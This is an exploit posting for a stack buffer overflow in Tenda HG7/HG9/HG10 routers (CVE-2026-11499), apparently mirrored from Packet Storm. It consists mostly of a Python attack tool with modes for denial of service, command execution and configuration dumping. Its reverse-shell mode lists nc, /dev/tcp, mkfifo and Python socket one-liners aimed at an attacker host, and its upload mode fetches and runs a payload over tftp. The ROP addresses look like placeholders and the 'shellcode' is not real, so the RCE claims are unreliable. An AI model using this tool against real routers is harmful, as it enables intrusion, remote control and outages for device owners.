Lucene search
K

📄 Tenda HG7 / HG9 / HG10 Buffer Overflow

🗓️ 06 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 19 Views

Tenda HG router buffer overflow exploit targeting /boaform/formDOMAINBLK to cause DoS and RCE.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-11499
8 Jun 202607:00
attackerkb
Circl
CVE-2026-11499
7 Jun 202613:51
circl
CNNVD
Tenda HG7 缓冲区错误漏洞
8 Jun 202600:00
cnnvd
CVE
CVE-2026-11499
8 Jun 202607:00
cve
Cvelist
CVE-2026-11499 Tenda HG7HG9/HG10 formDOMAINBLK stack-based overflow
8 Jun 202607:00
cvelist
GithubExploit
Exploit for CVE-2026-11499
8 Jun 202610:54
githubexploit
EUVD
EUVD-2026-35029
8 Jun 202607:00
euvd
NVD
CVE-2026-11499
8 Jun 202609:16
nvd
Packet Storm
📄 Tenda HG7 / HG9 / HG10 Buffer Overflow
6 Jul 202600:00
packetstorm
Packet Storm News
Tenda HG7 / HG9 / HG10 Management Interface Assessment Module
6 Jul 202600:00
packetstormnews
Rows per page
==================================================================================================================================
    | # Title     : Tenda HG7/HG9/HG10 Validation, DoS, and Claimed RCE                                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.tendacn.com/material/show/105719                                                                     |
    ==================================================================================================================================
    
    [+] Summary    :  This Python script is a multi-mode framework targeting an alleged stack-based buffer overflow vulnerability in the /boaform/formDOMAINBLK endpoint of certain Tenda HG-series routers.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import sys
    import time
    import struct
    import socket
    import re
    import requests
    import base64
    from typing import Optional, Tuple, List
    from urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        MAGENTA = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        BOLD = '\033[1m'
        DIM = '\033[2m'
        RESET = '\033[0m'
    
    def print_banner():
        banner = f"""
    {Colors.RED}{Colors.BOLD}
    ╔═══════════════════════════════════════════════════════════════════════════════╗
    ║                                                                               ║
    ║   CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack Buffer Overflow Exploit          ║
    ║                                                                               ║
    ║   "Stack-based buffer overflow in formDOMAINBLK leading to RCE"              ║
    ║                                                                               ║
    ║   Affected: HG7, HG9, HG10 routers | Impact: Remote Code Execution (Root)    ║
    ║                                                                               ║
    ╚═══════════════════════════════════════════════════════════════════════════════╝{Colors.RESET}
    """
        print(banner)
    
    class TendaBufferOverflowExploit:
        """Main exploit class for CVE-2026-11499"""
        
        def __init__(self, target: str, port: int = 80, 
                     timeout: int = 10, verbose: bool = False):
            self.target = target.rstrip('/')
            self.port = port
            self.timeout = timeout
            self.verbose = verbose
            self.base_url = f"http://{target}:{port}" if not target.startswith('http') else target
            self.offsets = {
                "hg7": 412,     
                "hg9": 412,     
                "hg10": 412,   
                "generic": 412  
            }
            self.rop_gadgets = {
                "system": 0x00405A34,    
                "sleep": 0x00405980,   
                "exit": 0x00405900,      
                "pop_t9_s0": 0x00412345, 
                "move_t9_ra": 0x00423456,  
            }
        def log(self, msg: str, level: str = "info"):
            """Logging with colors"""
            prefixes = {
                "info": f"{Colors.CYAN}[*]{Colors.RESET}",
                "success": f"{Colors.GREEN}[+]{Colors.RESET}",
                "error": f"{Colors.RED}[-]{Colors.RESET}",
                "warning": f"{Colors.YELLOW}[!]{Colors.RESET}",
                "debug": f"{Colors.DIM}[D]{Colors.RESET}"
            }
            print(f"{prefixes.get(level, '[?]')} {msg}")
            if self.verbose and level == "debug":
                sys.stdout.flush()
        def check_target(self) -> Tuple[bool, dict]:
            """Check if target is vulnerable and identify model"""
            self.log(f"Checking target: {self.base_url}")
            
            info = {
                "model": "unknown",
                "firmware": "unknown",
                "vulnerable": False
            }
            try:
                response = requests.get(
                    f"{self.base_url}/login.asp",
                    timeout=self.timeout,
                    verify=False
                )
                if response.status_code == 200:
                    content = response.text.lower()
                    if "hg7" in content:
                        info["model"] = "HG7"
                    elif "hg9" in content:
                        info["model"] = "HG9"
                    elif "hg10" in content:
                        info["model"] = "HG10"
                    version_match = re.search(r'firmware[_\s]*version[:\s]*([0-9.]+)', content, re.I)
                    if version_match:
                        info["firmware"] = version_match.group(1)
                    self.log(f"Target identified: {info['model']} (Firmware: {info['firmware']})", "success")
                    check_resp = requests.post(
                        f"{self.base_url}/boaform/formDOMAINBLK",
                        data={"blkDomain": "test"},
                        timeout=self.timeout,
                        verify=False
                    )
                    if check_resp.status_code in [200, 302, 500]:
                        info["vulnerable"] = True
                        self.log("Target appears vulnerable (formDOMAINBLK endpoint accessible)", "success")
                    else:
                        self.log("Target may not be vulnerable", "warning")
                return info["vulnerable"], info
            except requests.exceptions.ConnectionError:
                self.log("Cannot connect to target", "error")
                return False, info
            except Exception as e:
                self.log(f"Check failed: {e}", "error")
                return False, info
        def generate_pattern(self, length: int) -> str:
            """Generate cyclic pattern for offset finding"""
            pattern = ""
            charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
            for i in range(length):
                pattern += charset[i % len(charset)]
            return pattern
        def find_offset(self) -> int:
            """Find exact offset to return address"""
            self.log("Finding offset to return address...")
            for offset in range(300, 500, 4):
                pattern = "A" * offset + "BBBB" + "C" * (600 - offset - 4)
                try:
                    response = self.send_payload(pattern, check_crash=False)
                    if self.check_device_status() is False:
                        self.log(f"Crash at offset: {offset}", "success")
                        return offset - 4
                except:
                    continue
                time.sleep(1)
            return self.offsets["generic"]
        def send_payload(self, payload: str, check_crash: bool = True) -> Optional[requests.Response]:
            """Send malicious payload to vulnerable endpoint"""
            
            data = {
                "blkDomain": payload,
                "submit-url": "/domainblk.asp",
                "page": "domainblk"
            }
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer": f"{self.base_url}/domainblk.asp"
            }
            self.log(f"Sending payload of length {len(payload)}...", "debug")
            
            try:
                response = requests.post(
                    f"{self.base_url}/boaform/formDOMAINBLK",
                    data=data,
                    headers=headers,
                    timeout=self.timeout,
                    verify=False,
                    allow_redirects=False
                )
                if check_crash and response.status_code == 200:
                    self.log(f"HTTP {response.status_code} - No crash", "debug")
                return response
            except requests.exceptions.Timeout:
                self.log("Timeout - Device may have crashed!", "warning")
                return None
            except requests.exceptions.ConnectionError:
                self.log("Connection refused - Device crashed!", "warning")
                return None
            except Exception as e:
                self.log(f"Error: {e}", "error")
                return None
        def check_device_status(self) -> bool:
            """Check if device is still responding"""
            try:
                response = requests.get(
                    f"{self.base_url}/login.asp",
                    timeout=5,
                    verify=False
                )
                return response.status_code == 200
            except:
                return False
        def create_rop_chain(self, command: str) -> bytes:
            """Create ROP chain for MIPS architecture"""
            cmd_bytes = command.encode() + b'\x00'
            shellcode = bytearray([
                0x24, 0x0f, 0xff, 0xff,  
                0x01, 0xe0, 0x78, 0x27,  
            ])
            shellcode.extend(cmd_bytes)
            while len(shellcode) % 4 != 0:
                shellcode.append(0x00)
            return bytes(shellcode)
        def exploit_denial_of_service(self, length: int = 1000) -> bool:
            """Simple DoS exploit - crash the router"""
            self.log(f"Launching DoS attack with payload length {length}")
            payload = "A" * length
            response = self.send_payload(payload)
            time.sleep(3)
            if not self.check_device_status():
                self.log("Device is down! DoS successful.", "success")
                return True
            else:
                self.log("Device still responding - DoS may have failed", "warning")
                return False
        def exploit_remote_code_execution(self, command: str, 
                                          offset: int = None) -> bool:
            """Full RCE exploit"""
            self.log(f"Attempting RCE with command: {command}")
            if offset is None:
                offset = self.find_offset()
            self.log(f"Using offset: {offset}")
            rop_chain = self.create_rop_chain(command)
            padding = "A" * offset
            return_address = struct.pack("<I", self.rop_gadgets["system"])
            payload = padding + return_address.decode('latin-1') + rop_chain.decode('latin-1')
            response = self.send_payload(payload)
            if response is None:
                self.log("Exploit sent - checking if command executed...", "success")
                time.sleep(2)
                if "ping" in command or "wget" in command:
                    self.log("Command execution attempted", "success")
                    return True
            else:
                self.log("Exploit may have failed - no crash detected", "warning")
            return False
        def upload_payload(self, payload_path: str) -> bool:
            """Upload and execute custom payload via TFTP/wget"""
            commands = [
                f"tftp -g -r {payload_path} -l /tmp/payload {socket.gethostbyname(socket.gethostname())}",
                "chmod +x /tmp/payload",
                "/tmp/payload"
            ]
            for cmd in commands:
                self.log(f"Executing: {cmd}", "debug")
                if not self.exploit_remote_code_execution(cmd):
                    self.log(f"Failed to execute: {cmd}", "error")
                    return False
                time.sleep(1)
            
            return True
        def reverse_shell(self, lhost: str, lport: int) -> bool:
            """Create reverse shell on target"""
            rev_shell = f"nc {lhost} {lport} -e /bin/sh"
            bash_rev = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
            self.log(f"Creating reverse shell to {lhost}:{lport}")
            self.log("Make sure listener is running: nc -lvnp {lport}")
            shells = [
                f"nc {lhost} {lport} -e /bin/sh",
                f"nc {lhost} {lport} -e /bin/bash", 
                f"telnet {lhost} {lport} | /bin/sh | telnet {lhost} {lport}",
                f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
                f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
            ]
            for shell_cmd in shells:
                self.log(f"Trying: {shell_cmd[:50]}...", "debug")
                if self.exploit_remote_code_execution(shell_cmd):
                    self.log("Reverse shell payload sent!", "success")
                    return True
                time.sleep(1)
            return False
        def dump_config(self) -> Optional[dict]:
            """Dump router configuration (if accessible after exploit)"""
            config_urls = [
                "/goform/getConfig",
                "/boaform/getConfig",
                "/config.bin",
                "/backup.conf"
            ]
            config_data = {}
            for url in config_urls:
                try:
                    response = requests.get(
                        f"{self.base_url}{url}",
                        timeout=self.timeout,
                        verify=False
                    )
                    if response.status_code == 200:
                        config_data[url] = response.text[:1000]
                        self.log(f"Retrieved config from {url}", "success")
                except:
                    pass
            return config_data if config_data else None
    def main():
        print_banner()
        parser = argparse.ArgumentParser(
            description="CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack Buffer Overflow RCE",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=f"""
    {Colors.YELLOW}EXAMPLES:{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --check{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --dos --length 800{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --command "id > /tmp/test"{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --reverse-shell 10.0.0.1 4444{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --upload payload.bin{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --find-offset{Colors.RESET}
      {Colors.CYAN}python3 {sys.argv[0]} 192.168.1.1 --dump-config{Colors.RESET}
            """
        )
        parser.add_argument("target", help="Target IP address or hostname")
        parser.add_argument("-p", "--port", type=int, default=80,
                           help="HTTP port (default: 80)")
        mode_group = parser.add_mutually_exclusive_group(required=True)
        mode_group.add_argument("-c", "--check", action="store_true",
                               help="Check if target is vulnerable")
        mode_group.add_argument("--dos", action="store_true",
                               help="Denial of Service attack")
        mode_group.add_argument("--command", metavar="CMD",
                               help="Execute system command")
        mode_group.add_argument("--reverse-shell", nargs=2, metavar=("LHOST", "LPORT"),
                               help="Get reverse shell")
        mode_group.add_argument("--upload", metavar="FILE",
                               help="Upload and execute payload file")
        mode_group.add_argument("--find-offset", action="store_true",
                               help="Find crash offset")
        mode_group.add_argument("--dump-config", action="store_true",
                               help="Dump router configuration")
        parser.add_argument("-l", "--length", type=int, default=500,
                           help="Payload length for DoS (default: 500)")
        parser.add_argument("-o", "--offset", type=int,
                           help="Manual offset to return address")
        parser.add_argument("-v", "--verbose", action="store_true",
                           help="Enable verbose output")
        parser.add_argument("--timeout", type=int, default=10,
                           help="Request timeout in seconds")
        args = parser.parse_args()
        exploit = TendaBufferOverflowExploit(
            target=args.target,
            port=args.port,
            timeout=args.timeout,
            verbose=args.verbose
        )
        if args.check:
            print(f"\n{Colors.BOLD}[*] Vulnerability check mode{Colors.RESET}\n")
            vulnerable, info = exploit.check_target()
            if vulnerable:
                print(f"\n{Colors.GREEN}{'='*60}")
                print(f"[✓] Target is VULNERABLE to CVE-2026-11499!")
                print(f"[✓] Model: {info['model']}")
                print(f"[✓] Firmware: {info['firmware']}")
                print(f"{'='*60}{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}{'='*60}")
                print(f"[✗] Target does not appear vulnerable")
                print(f"{'='*60}{Colors.RESET}")
        elif args.dos:
            print(f"\n{Colors.BOLD}[*] Denial of Service mode{Colors.RESET}\n")
            exploit.exploit_denial_of_service(args.length)
        elif args.command:
            print(f"\n{Colors.BOLD}[*] Command execution mode{Colors.RESET}\n")
            if exploit.exploit_remote_code_execution(args.command, args.offset):
                print(f"\n{Colors.GREEN}[✓] Command executed: {args.command}{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Command execution failed{Colors.RESET}")
        elif args.reverse_shell:
            print(f"\n{Colors.BOLD}[*] Reverse shell mode{Colors.RESET}\n")
            lhost, lport = args.reverse_shell
            print(f"{Colors.YELLOW}[!] Start listener: nc -lvnp {lport}{Colors.RESET}\n")
            
            if exploit.reverse_shell(lhost, int(lport)):
                print(f"\n{Colors.GREEN}[✓] Reverse shell payload sent!{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Failed to create reverse shell{Colors.RESET}")
        elif args.upload:
            print(f"\n{Colors.BOLD}[*] Payload upload mode{Colors.RESET}\n")
            if exploit.upload_payload(args.upload):
                print(f"\n{Colors.GREEN}[✓] Payload uploaded and executed{Colors.RESET}")
            else:
                print(f"\n{Colors.RED}[✗] Payload execution failed{Colors.RESET}")
        elif args.find_offset:
            print(f"\n{Colors.BOLD}[*] Offset finding mode{Colors.RESET}\n")
            offset = exploit.find_offset()
            print(f"\n{Colors.GREEN}[+] Crash offset: {offset} bytes{Colors.RESET}")
            print(f"{Colors.CYAN}[*] Use --offset {offset} for RCE{Colors.RESET}")
        elif args.dump_config:
            print(f"\n{Colors.BOLD}[*] Configuration dump mode{Colors.RESET}\n")
            config = exploit.dump_config()
            if config:
                print(f"\n{Colors.GREEN}[✓] Configuration retrieved:{Colors.RESET}")
                for url, data in config.items():
                    print(f"\n{Colors.CYAN}--- {url} ---{Colors.RESET}")
                    print(data[:500])
            else:
                print(f"\n{Colors.RED}[✗] Could not retrieve configuration{Colors.RESET}")
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print(f"\n{Colors.YELLOW}[!] Interrupted by user{Colors.RESET}")
            sys.exit(0)
        except Exception as e:
            print(f"{Colors.RED}[!] Unexpected error: {e}{Colors.RESET}")
            if '--verbose' in sys.argv:
                import traceback
                traceback.print_exc()
            sys.exit(1)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 49.3
CVSS 3.19.8
CVSS 210
CVSS 39.8
EPSS0.06561
SSVC
19